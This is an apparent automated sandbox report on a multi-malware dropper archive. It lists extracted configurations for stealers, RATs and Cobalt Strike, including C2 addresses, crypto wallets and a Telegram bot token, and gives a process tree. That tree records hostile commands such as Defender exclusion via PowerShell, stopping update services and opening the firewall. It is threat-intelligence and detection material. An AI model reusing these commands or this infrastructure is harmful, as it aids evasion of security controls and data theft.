Resubmissions
25/01/2025, 23:19
250125-3a9dlavrfq1025/01/2025, 00:39
250125-azr7dswras1025/01/2025, 00:32
250125-avsblawpdx1025/01/2025, 00:29
250125-as5h5swnfv1004/12/2024, 19:44
241204-yftswatlcj1028/11/2024, 19:40
241128-ydqnfaxqgy1020/11/2024, 16:31
241120-t1tw6azjfy1020/11/2024, 06:05
241120-gtdv5ssnes1020/11/2024, 06:00
241120-gqchxascje1020/11/2024, 05:52
241120-gk2kvaxkgn10Analysis
- max time kernel
498s - max time network
627s - platform
windows10-ltsc 2021_x64 - resource
win10ltsc2021-20241023-en - resource tags
- submitted
16/11/2024, 19:06
General
- Target 4363463463464363463463463.exe.zip
- Size 4KB
- Sample241116-xsbmdssbkd
- SHA256 e4ec3a45621dd556deeea5f953fa05909c82630e9f17baf6b14272a0360d62d1
Score
10/10
Malware Config
Extracted
Family
-
phorphiex
C2
-
http://185.215.113.66/
-
http://91.202.233.141/
Wallets
-
0xCa90599132C4D88907Bd8E046540284aa468a035
-
TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6
-
qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r
-
XryzFMFVpDUvU7famUGf214EXD3xNUSmQf
-
rsXCXBf9SagxV8JfC12d8Bybk84oPdMNN9
-
AULzfBuUAPfCGAXoG5Vq14aP9s6fx3AH4Z
-
LdgchXq1sKbAaAJ1EXAPSRBzLb8jnTZstT
-
MP8GEm8QpYgQYaMo8oM5NQhRBgDGiLZW5Q
-
4AtjkCVKbtEC3UEN77SQHuH9i1XkzNiRi5VCbA2XGsJh46nJSXfGQn4GjLuupCqmC57Lo7LvKmFUyRfhtJSvKvuw3h9ReKK
-
15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC
-
1BzmrjmKPKSR2hH5BeJySfiVA676E8DYaK
-
ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp
-
3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc
-
3ESHude8zUHksQg1h6hHmzY79BS36L91Yn
-
DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA
-
t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh
-
stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj
-
bnb1msyt0djx4ecspfxg5en0ye465kg3kmv9utzml2
-
bc1ppypcmu3684n648gyj62gjp2rw0xy7w3vwfamatlg29ajp4z52desafa0sr
-
bc1qc9edl4hzl9jyt8twdad3zjeh2df2znq96tdezd
Attributes
-
mutex
753f85d83d
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
Office04
C2
-
69.232.48.67:4782
Mutex
-
4ec0a816-0212-473a-be4d-984e4b0e9af0
Attributes
-
encryption_key
06D1C1AE802ADF60C767026668B738AEF109004C
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Extracted
Family
-
xworm
Version
-
5.0
C2
-
event-dollar.gl.at.ply.gg:42627
Mutex
-
Vu8KDOzYd19RAWuh
Attributes
-
Install_directory
%ProgramData%
-
install_file
Desktop Window Manager.exe
-
telegram
https://api.telegram.org/bot7269786725:AAF0IPx1BWTdW_vbZqP8HGNrxWWFpF5CvYs/sendMessage?chat_id=5465523859
aes.plain
Extracted
Family
-
stealc
Botnet
-
default_valenciga
C2
-
http://185.215.113.17
Attributes
-
url_path
/2fb6c2cc8dce150a.php
Extracted
Family
-
lumma
C2
-
https://moutheventushz.shop/api
-
https://respectabosiz.shop/api
-
https://bakedstusteeb.shop/api
-
https://conceszustyb.shop/api
-
https://nightybinybz.shop/api
-
https://standartedby.shop/api
-
https://mutterissuen.shop/api
-
https://worddosofrm.shop/api
-
https://blasterrysbio.cyou
-
https://caffegclasiqwp.shop/api
-
https://stamppreewntnq.shop/api
-
https://stagedchheiqwo.shop/api
-
https://millyscroqwp.shop/api
-
https://evoliutwoqm.shop/api
-
https://condedqpwqm.shop/api
-
https://traineiwnqo.shop/api
-
https://locatedblsoqp.shop/api
Extracted
Family
-
vidar
Version
-
11.5
Botnet
-
321a707fa673780c2e4ab40d133f2899
C2
-
https://t.me/gos90t
-
https://steamcommunity.com/profiles/76561199800374635
Attributes
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6
Extracted
Family
-
cobaltstrike
C2
-
http://89.197.154.115:7700/mdS9
Attributes
-
user_agent
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1)
Extracted
Family
-
redline
C2
-
185.215.113.9:12617
Signatures
- Ammyy Admin
Remote admin tool with various capabilities.
- AmmyyAdmin payload 1 IoCs
- Ammyyadmin family
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Asyncrat family
- Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
- Cobaltstrike family
- DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Dcrat family
- Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
- Detect Vidar Stealer 3 IoCs
- Detect Xworm Payload 3 IoCs
- Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
- Lumma family
- Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
- Modifies security service 2 TTPs 1 IoCs
- Phorphiex family
- Phorphiex payload 4 IoCs
- Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
- Process spawned unexpected child process 36 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 2 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 3 IoCs
- Redline family
- Stealc
Stealc is an infostealer written in C++.
- Stealc family
- Vidar
Vidar is an infostealer based on Arkei stealer.
- Vidar family
- Windows security bypass 2 TTPs 6 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Async RAT payload 2 IoCs
- DCRat payload 1 IoCs
Detects payload of DCRat, commonly dropped by NSIS installers.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 17 IoCs
Using powershell.exe command.
- Creates new service(s) 2 TTPs
- Downloads MZ/PE file
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Stops running service(s) 4 TTPs
- Uses browser remote debugging 2 TTPs 4 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 7 IoCs
Looks up country code configured in the registry, likely geofence.
- Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
- Executes dropped EXE 19 IoCs
- Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 28 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Windows security modification 2 TTPs 9 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
- Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 11 IoCs
- Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Enumerates processes with tasklist 1 TTPs 9 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- UPX packed file 33 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Windows directory 14 IoCs
- Launches sc.exe 24 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Embeds OpenSSL 1 IoCs
Embeds OpenSSL, may be used to circumvent TLS interception.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 37 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- NSIS installer 2 IoCs
- Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 2 IoCs
- Detects videocard installed 1 TTPs 3 IoCs
Uses WMIC.exe to determine videocard installed.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Kills process with taskkill 16 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 64 IoCs
- Modifies registry key 1 TTPs 1 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 38 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 42 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 32 IoCs
- Suspicious use of SendNotifyMessage 27 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 2 IoCs
Processes
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe.zip"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ffc48f3cc40,0x7ffc48f3cc4c,0x7ffc48f3cc582⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1936,i,9648268127813715920,1816618688938141363,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=1932 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2196,i,9648268127813715920,1816618688938141363,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=2204 /prefetch:32⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2268,i,9648268127813715920,1816618688938141363,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=2488 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3180,i,9648268127813715920,1816618688938141363,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=3188 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3068,i,9648268127813715920,1816618688938141363,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=3240 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4644,i,9648268127813715920,1816618688938141363,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=4684 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4976,i,9648268127813715920,1816618688938141363,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=4588 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4832,i,9648268127813715920,1816618688938141363,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=4588 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe"C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --reenable-autoupdates --system-level2⤵
- Drops file in Windows directory
-
C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe"C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x298,0x29c,0x2a0,0x274,0x2a4,0x7ff631314698,0x7ff6313146a4,0x7ff6313146b03⤵
- Drops file in Windows directory
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=4432,i,9648268127813715920,1816618688938141363,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=5012 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4576,i,9648268127813715920,1816618688938141363,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=4044 /prefetch:82⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\4363463463464363463463463.exe"C:\Users\Admin\Desktop\4363463463464363463463463.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Desktop\Files\pei.exe"C:\Users\Admin\Desktop\Files\pei.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\3003914348.exeC:\Users\Admin\AppData\Local\Temp\3003914348.exe5⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\sysnldcvmr.exeC:\Windows\sysnldcvmr.exe6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\504128422.exeC:\Users\Admin\AppData\Local\Temp\504128422.exe7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f8⤵
-
C:\Windows\system32\reg.exereg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f9⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"8⤵
-
C:\Windows\system32\schtasks.exeschtasks /delete /f /tn "Windows Upgrade Manager"9⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3306617645.exeC:\Users\Admin\AppData\Local\Temp\3306617645.exe7⤵
-
-
C:\Users\Admin\AppData\Local\Temp\255427533.exeC:\Users\Admin\AppData\Local\Temp\255427533.exe7⤵
-
C:\Users\Admin\AppData\Local\Temp\3004910157.exeC:\Users\Admin\AppData\Local\Temp\3004910157.exe8⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\2360030699.exeC:\Users\Admin\AppData\Local\Temp\2360030699.exe7⤵
-
-
-
-
-
C:\Users\Admin\Desktop\Files\pp.exe"C:\Users\Admin\Desktop\Files\pp.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\sysppvrdnvs.exeC:\Windows\sysppvrdnvs.exe5⤵
- Modifies security service
- Windows security bypass
- Checks computer location settings
- Executes dropped EXE
- Windows security modification
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"7⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc stop UsoSvc7⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc stop WaaSMedicSvc7⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc stop wuauserv7⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc stop DoSvc7⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc stop BITS /wait7⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\Desktop\Files\def.exe"C:\Users\Admin\Desktop\Files\def.exe"4⤵
- Modifies Windows Defender Real-time Protection settings
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Windows security modification
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Desktop\Files\j86piuq9.exe"C:\Users\Admin\Desktop\Files\j86piuq9.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\360vz.exe"C:\Users\Admin\Desktop\Files\360vz.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c del C:\Users\Admin\Desktop\Files\360vz.exe > nul5⤵
-
-
-
C:\Users\Admin\Desktop\Files\AI2.exe"C:\Users\Admin\Desktop\Files\AI2.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\njrat.exe"C:\Users\Admin\Desktop\Files\njrat.exe"4⤵
-
C:\Windows\rundll32.exe"C:\Windows\rundll32.exe"5⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Windows\rundll32.exe" "rundll32.exe" ENABLE6⤵
- Modifies Windows Firewall
-
-
-
-
C:\Users\Admin\Desktop\Files\LedgerUpdater.exe"C:\Users\Admin\Desktop\Files\LedgerUpdater.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\Desktop\Files\LedgerUpdater.exe5⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\PING.EXEping 2.2.2.2 -n 1 -w 30006⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\Desktop\Files\unison.exe"C:\Users\Admin\Desktop\Files\unison.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\14082024.exe"C:\Users\Admin\Desktop\Files\14082024.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\CrSpoofer.exe"C:\Users\Admin\Desktop\Files\CrSpoofer.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\xnsjjxja.exe"C:\Users\Admin\Desktop\Files\xnsjjxja.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
-
-
-
-
C:\Users\Admin\Desktop\4363463463464363463463463.exe"C:\Users\Admin\Desktop\4363463463464363463463463.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Desktop\Files\PctOccurred.exe"C:\Users\Admin\Desktop\Files\PctOccurred.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k move Powell Powell.cmd & Powell.cmd & exit5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa.exe opssvc.exe"6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 1939976⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V "JulieAppMagneticWhenever" Hist6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b ..\Medicines + ..\While + ..\Remained + ..\Bs + ..\Ak + ..\Statistical + ..\Entity + ..\Autumn + ..\Scott + ..\Keyboards y6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\193997\Restructuring.pifRestructuring.pif y6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Windows\SysWOW64\choice.exechoice /d y /t 56⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\Desktop\Files\Client-built.exe"C:\Users\Admin\Desktop\Files\Client-built.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Desktop\Files\aaa.exe"C:\Users\Admin\Desktop\Files\aaa.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Files\ps.exe"C:\Users\Admin\Desktop\Files\ps.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Files\Statement-963462.exe"C:\Users\Admin\Desktop\Files\Statement-963462.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\c13606fe9009f11d\setup.msi"5⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\Desktop\Files\splwow64.exe"C:\Users\Admin\Desktop\Files\splwow64.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy Beijing Beijing.bat & Beijing.bat5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa opssvc"6⤵
-
-
C:\Windows\SysWOW64\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"6⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 1970366⤵
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V "CRAWFORDFILLEDVERIFYSCALE" Mtv6⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b ..\Twisted + ..\Molecular + ..\Sponsorship + ..\Various + ..\Witch + ..\Spirit + ..\See + ..\Fitting T6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\197036\Jurisdiction.pifJurisdiction.pif T6⤵
-
-
C:\Windows\SysWOW64\choice.exechoice /d y /t 56⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffc48f446f8,0x7ffc48f44708,0x7ffc48f447185⤵
-
-
